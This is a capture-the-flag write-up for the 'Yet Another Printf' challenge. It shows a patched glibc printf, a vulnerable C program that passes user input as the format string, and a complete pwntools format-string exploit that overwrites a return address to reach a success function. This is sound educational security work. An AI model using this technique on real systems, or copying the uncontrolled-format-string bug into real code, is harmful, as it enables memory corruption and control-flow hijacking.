6 minutes
Yet Another Printf! Write-Up
📃 Challenge Description
String formatting really is a lot of fun, so check out this cool new formatter I implemented. So useful!
🔎 Research
The 3 important files are shown below. One diff
file that patches the vprintf-internal.c
file, the executable yap
, and the run.py
file, which will run, when a client connects.
printf-patch.diff:
diff --git a/stdio-common/vfprintf-internal.c b/stdio-common/vfprintf-internal.c
index 3be92d4b6e..047d6cfa2d 100644
--- a/stdio-common/vfprintf-internal.c
+++ b/stdio-common/vfprintf-internal.c
@@ -905,35 +905,22 @@ static const uint8_t jump_table[] =
break; \
\
LABEL (form_pointer): \
- /* Generic pointer. */ \
+ /* Generic *padding*. */ \
{ \
const void *ptr; \
+ char pad_buf[256] = {0}; \
+ unsigned char nnn = 0; \
if (fspec == NULL) \
ptr = va_arg (ap, void *); \
else \
ptr = args_value[fspec->data_arg].pa_pointer; \
if (ptr != NULL) \
- { \
- /* If the pointer is not NULL, write it as a %#x spec. */ \
- base = 16; \
- number.word = (unsigned long int) ptr; \
- is_negative = 0; \
- alt = 1; \
- group = 0; \
- spec = L_('x'); \
- goto LABEL (number); \
- } \
- else \
- { \
- /* Write "(nil)" for a nil pointer. */ \
- string = (CHAR_T *) L_("(nil)"); \
- /* Make sure the full string "(nil)" is printed. */ \
- if (prec < 5) \
- prec = 5; \
- /* This is a wide string iff compiling wprintf. */ \
- is_long = sizeof (CHAR_T) > 1; \
- goto LABEL (print_string); \
- } \
+ { \
+ nnn = *(const unsigned char*) ptr; \
+ } \
+ memset(pad_buf, 'X', nnn); \
+ string = (CHAR_T*) pad_buf; \
+ goto LABEL (print_string); \
} \
/* NOTREACHED */ \
\
@@ -955,27 +942,27 @@ static const uint8_t jump_table[] =
if (fspec == NULL) \
{ \
if (is_longlong) \
- *(long long int *) va_arg (ap, void *) = done; \
+ **(long long int **) va_arg (ap, void *) = done; \
else if (is_long_num) \
- *(long int *) va_arg (ap, void *) = done; \
+ **(long int **) va_arg (ap, void *) = done; \
else if (is_char) \
- *(char *) va_arg (ap, void *) = done; \
+ **(char **) va_arg (ap, void *) = done; \
else if (!is_short) \
- *(int *) va_arg (ap, void *) = done; \
+ **(int **) va_arg (ap, void *) = done; \
else \
- *(short int *) va_arg (ap, void *) = done; \
+ **(short int **) va_arg (ap, void *) = done; \
} \
else \
if (is_longlong) \
- *(long long int *) args_value[fspec->data_arg].pa_pointer = done; \
+ **(long long int **) args_value[fspec->data_arg].pa_pointer = done; \
else if (is_long_num) \
- *(long int *) args_value[fspec->data_arg].pa_pointer = done; \
+ **(long int **) args_value[fspec->data_arg].pa_pointer = done; \
else if (is_char) \
- *(char *) args_value[fspec->data_arg].pa_pointer = done; \
+ **(char **) args_value[fspec->data_arg].pa_pointer = done; \
else if (!is_short) \
- *(int *) args_value[fspec->data_arg].pa_pointer = done; \
+ **(int **) args_value[fspec->data_arg].pa_pointer = done; \
else \
- *(short int *) args_value[fspec->data_arg].pa_pointer = done; \
+ **(short int **) args_value[fspec->data_arg].pa_pointer = done; \
break; \
\
LABEL (form_strerror): \
yap.c:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#define INSIZE 0x1000
#define FOO 0xFF0
struct state {
char code[INSIZE];
void* reg0;
void* reg1;
void* reg2;
};
int main(int argc, char* argv[]) {
struct state mystate;
// let's setup some initial values
mystate.reg0 = &mystate.reg1;
mystate.reg1 = &mystate.reg2;
mystate.reg2 = mystate.code + FOO;
setvbuf(stdout, NULL, _IONBF, 0);
fgets(mystate.code, INSIZE, stdin);
fprintf(stdout, mystate.code);
exit(1);
}
void success() { exit(0); }
run.py:
import subprocess
def run_code(code: bytes) -> bool:
rv = subprocess.run(["./yap"], input=code, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env={})
return rv.returncode == 0
def main():
print("Welcome to the advanced printf testing service!")
code = input("Please give me your format to test:")[:4096].strip().encode('ASCII')
n = 5
for i in range(n):
if run_code(code):
print(f"Attempt {i+1}/{n}: SUCCESS")
else:
print(f"Attempt {i+1}/{n}: FAILED")
exit(1)
print("Congratulations!")
with open("flag.txt") as fin:
print(fin.read())
if __name__ == '__main__':
main()
The run.py
script will execute the yap
executable 5 times in a row and give us the flag in case all 5 attempts were successful, meaning their return status is 0
.
Also vprintf_internal.c
is patched, so that:
%p
: returnsX
times byte at*(char*)ptr
argument%n
: writes bytes written so far to**ptr
argument
Furthermore, by inspecting the elf file, we can see that the .text
segment has a 0x1000
alignment. Therefore, the least significant byte of the success
function is always 0x71
.
📝 Vulnerability Description
We can leak stack addresses through the %p
specifier, and write the amount of bytes written by %p
plus an optional offset back to an address. The goal would be to setup the state registers, that reg3
points to the return address of the printf
call back to main
, and overwrite the least significant byte with 0x71
, where the success
function begins.
🧠 Exploit Development
One interesting fact bout the glibc printf internals is that fprintf
looks up all %p
addresses before parsing %n
. This means that we cannot change any %p
lookup address by using the %n
format specifier.
More specifically, printf
starts in vprintf
, which attempts to use a faster algorithm and don’t copy the argument list. If we encounter a positional parameter, vprintf
switches to printf_positional
, which will copy the whole argument list in internal memory.
To control the exact amount of bytes written by printf, we can use a cool trick:
The format %532$<minwidth>p
will write at least <minwidth>
characters to stream. Argument pointer at 532
th position points to 0x1
, so if minwidth!=0
we always write exactly <minwidth>
bytes to stream.
🔐 Exploit Program
from pwn import *
import time
def gadget_write_n_bytes(n):
return f"%532${n}p"
payload = ""
payload += "%c" * 0x4 # skip register arguments
payload += "%c" * 0x19E # skip some stack agruments
payload += "%p" # get least significant byte of some stack address
payload += "%c" * (0x200 - 0x19E)
payload += "%93c" # done = 0x???1
payload += "%hhn" # overwrite least significant byte of read pointer
payload += "%521$p" * 0x100 # get second least significant byte
payload += gadget_write_n_bytes(0xEDD7) # add constant offset (CDEF) could be right
payload += "%519$hn" # write address of return address
# # we know done = 0x???8 (0x???8 * 0x20 = 0x??00)
payload += "%520$p" * 0x1F # done = 0x??00
payload += gadget_write_n_bytes(0x71) # least significant byte of done = 0x71
payload += "%520$hhn" # overwrite return address
print(f"Payload length: {hex(len(payload))}")
# print(str(payload))
host = "d8cece93550557204a8f1ed4-yet-another-printf.challenge.master.cscg.live" # "localhost"
port = 31337 # 1024
ssl = True # False
def one_try():
p = remote(host, port, ssl=ssl)
p.recvuntil(b"test:")
p.sendline(payload.encode())
for _ in range(5):
result = p.recvline(keepends=False)
print(f"Result: {str(result.decode())}")
if b"FAILED" in result:
return False
print(str(p.recvline()))
print(str(p.recvline()))
return True
while not one_try():
print("Sleeping...")
time.sleep(5)
💥 Run Exploit
FLAG: CSCG{fun_w17h_57r1n6_f0rm4773r5_11}